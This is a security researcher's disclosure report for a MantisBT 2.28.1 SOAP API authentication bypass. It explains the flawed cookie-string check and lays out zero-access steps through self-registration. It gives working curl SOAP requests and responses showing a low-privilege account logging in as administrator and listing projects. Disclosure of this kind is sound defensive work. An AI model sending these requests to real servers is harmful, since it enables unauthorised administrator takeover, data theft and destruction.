WT-2026-0064

watchTowr Vulnerability Report

- Product affected: Mantis Bug Tracker
- Version tested: 2.28.1
- Platform: Linux
- CWE-287: Improper Authentication

watchTowr Vulnerability Disclosure Policy

The vulnerability is subject to our standard 90-day disclosure timeline. See https://labs.watchtowr.com/vulnerability-disclosure-policy for more details.

Credits:

McCaulay Hudson (@_McCaulay) of watchTowr

Vulnerability Details - SOAP API Authentication Bypass -> Privilege Escalation to Administrator

MantisBT 2.28.1 contains a critical authentication bypass in the SOAP API's `mci_check_login()` function (`api/soap/mc_api.php`, lines 482–489). Any user who knows a valid `cookie_string` (a session token stored in the database for each user) can authenticate as **any other user**, including the administrator, without knowing the target's password.

The vulnerability is exploitable with zero prior access on default MantisBT installations because self-registration is enabled by default (`$g_allow_signup = ON`). A self-registered user can use their own `cookie_string` (readable from their browser's `MANTIS_STRING_COOKIE` cookie after login) to impersonate the administrator via the SOAP API.

The REST API is NOT affected. The REST API's `AuthMiddleware` derives the username server-side from the API token or session cookie, so the username cannot be spoofed.

The Web UI is NOT affected. The Web UI authenticates via PHP session cookies (`PHPSESSID`) and validates the `MANTIS_STRING_COOKIE` against the logged-in user through `auth_is_cookie_valid()`. The username is derived server-side from the cookie, not supplied by the client.

Root Cause

1. Cookie String Validated Against Wrong User (`api/soap/mc_api.php`, lines 482–489)

```
$t_user_id = auth_user_id_from_cookie( $p_password );
if( $t_user_id !== false ) {
    // $t_user_id belongs to whoever owns the cookie_string,
    // but it is NEVER compared to $p_username as it is used
only as a boolean gate
    if( auth_attempt_script_login( $p_username ) === false )
{
        return false;
    }
}
```

The function `auth_user_id_from_cookie()` looks up the `cookie_string` in the database and returns the user ID of whoever it belongs to. But this user ID is **never compared** to the `$p_username` parameter. Instead, it is used only as a boolean check ("does this cookie_string belong to *someone*?"), and then `auth_attempt_script_login()` is called with the attacker's chosen `$p_username`.

2. Password Check Skipped (`core/authentication_api.php`, lines 711–716)

```
function auth_attempt_script_login( $p_username, $p_password
= null ) {
    // ...
    if( null !== $t_password ) {
        if( !auth_does_password_match( $t_user_id, $t_passwor
d ) ) {
```

```
                return false;
            }
        }
        // password check is SKIPPED because $p_password defaults
 to null
 }
```

`auth_attempt_script_login()` is called with only the username and no password. The `$p_password` parameter defaults to `null`, and the password check is gated on `$p_password !== null`, so the check is skipped entirely.

3. Self-Registration Provides Zero-Access Exploitation

MantisBT has self-registration enabled by default (`$g_allow_signup = ON` in `config_defaults_inc.php`). This means an attacker can go from zero access to full administrator SOAP API access:

1. Attacker self-registers via `signup_page.php` (only requires a valid email address)
2. Attacker receives activation email, clicks the confirmation link, sets a password
3. Attacker logs in and the browser receives `MANTIS_STRING_COOKIE` containing their `cookie_string`
4. Attacker sends a SOAP call with `username=administrator` and `password=<own cookie_string>`
5. Server validates the cookie belongs to *some* user (the attacker), then logs in as `administrator` without a password check

The self-registered account's access level (`REPORTER`, the default from `$g_default_new_account_access_level`) is irrelevant as the bypass impersonates the target user regardless of the attacker's own privilege level.

Proof of Concept

1. Authenticate as Administrator Using a Low-Privilege User's Cookie String

The `password` field contains the `cookie_string` of a low-privilege REPORTER account (user `mantisuser123`). The `username` field specifies the target user (`administrator`).

```
$ curl -s 'http://localhost:8989/api/soap/mantisconnect.php'
\
  -H 'Content-Type: text/xml' \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/s
oap/envelope/" xmlns:man="http://futureware.biz/mantisconnec
t">
   <soapenv:Body>
      <man:mc_login>
         <man:username>administrator</man:username>
         <man:password>MI76mG4ie5SPCG-GUULcXcVQb-vzyUhTn02v62
vlD8UkdVBLJSJdRo0E94vBiWjE</man:password>
      </man:mc_login>
   </soapenv:Body>
</soapenv:Envelope>'
```

The response confirms authentication as the administrator (id=1, access_level=90):

```
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.or
g/soap/envelope/" xmlns:ns1="http://futureware.biz/mantisconn
ect" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi
="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC
="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodin
gStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:mc_loginResponse>
      <return xsi:type="ns1:UserData">
        <account_data xsi:type="ns1:AccountData">
          <id xsi:type="xsd:integer">1</id>
          <name xsi:type="xsd:string">administrator</name>
          <email xsi:type="xsd:string">root@localhost</email>
```

```
        </account_data>
        <access_level xsi:type="xsd:integer">90</access_level
>
        <timezone xsi:type="xsd:string">UTC</timezone>
      </return>
    </ns1:mc_loginResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

2. List All Projects as Administrator Using a Low-Privilege User's Cookie String

```
$ curl -s 'http://localhost:8989/api/soap/mantisconnect.php'
\
  -H 'Content-Type: text/xml' \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/s
oap/envelope/" xmlns:man="http://futureware.biz/mantisconnec
t">
   <soapenv:Body>
      <man:mc_projects_get_user_accessible>
         <man:username>administrator</man:username>
         <man:password>MI76mG4ie5SPCG-GUULcXcVQb-vzyUhTn02v62
vlD8UkdVBLJSJdRo0E94vBiWjE</man:password>
      </man:mc_projects_get_user_accessible>
   </soapenv:Body>
</soapenv:Envelope>'
```

Returns all projects including their internal file paths, which is data only accessible to administrators:

```
<return SOAP-ENC:arrayType="ns1:ProjectData[4]" xsi:type="SOA
P-ENC:Array">
  <item xsi:type="ns1:ProjectData">
    <id xsi:type="xsd:integer">1</id>
```

```
      <name xsi:type="xsd:string">TestProject</name>
      ...
    </item>
    <item xsi:type="ns1:ProjectData">
      <id xsi:type="xsd:integer">2</id>
      <name xsi:type="xsd:string">TestProject2</name>
      <file_path xsi:type="xsd:string">/var/www/html/uploads/</
file_path>
      ...
    </item>
    ...
</return>
```

Impact

- **Full administrator access to the SOAP API** from zero prior access (with self-registration enabled, which is the default)
- **Read/write all issues** including private issues and notes across all projects
- **Full data exfiltration** of all bug reports, attachments, user accounts (id, name, email), and non-private configuration values via the 71 SOAP operations available
- **Destructive operations**: delete projects, issues, attachments, tags, categories, and versions
- **Data manipulation**: create/modify issues, impersonate reporters, manage project structure
- **Chains with other vulnerabilities**: the SOAP admin access enables exploitation of SOAP vulnerabilities that require administrator privileges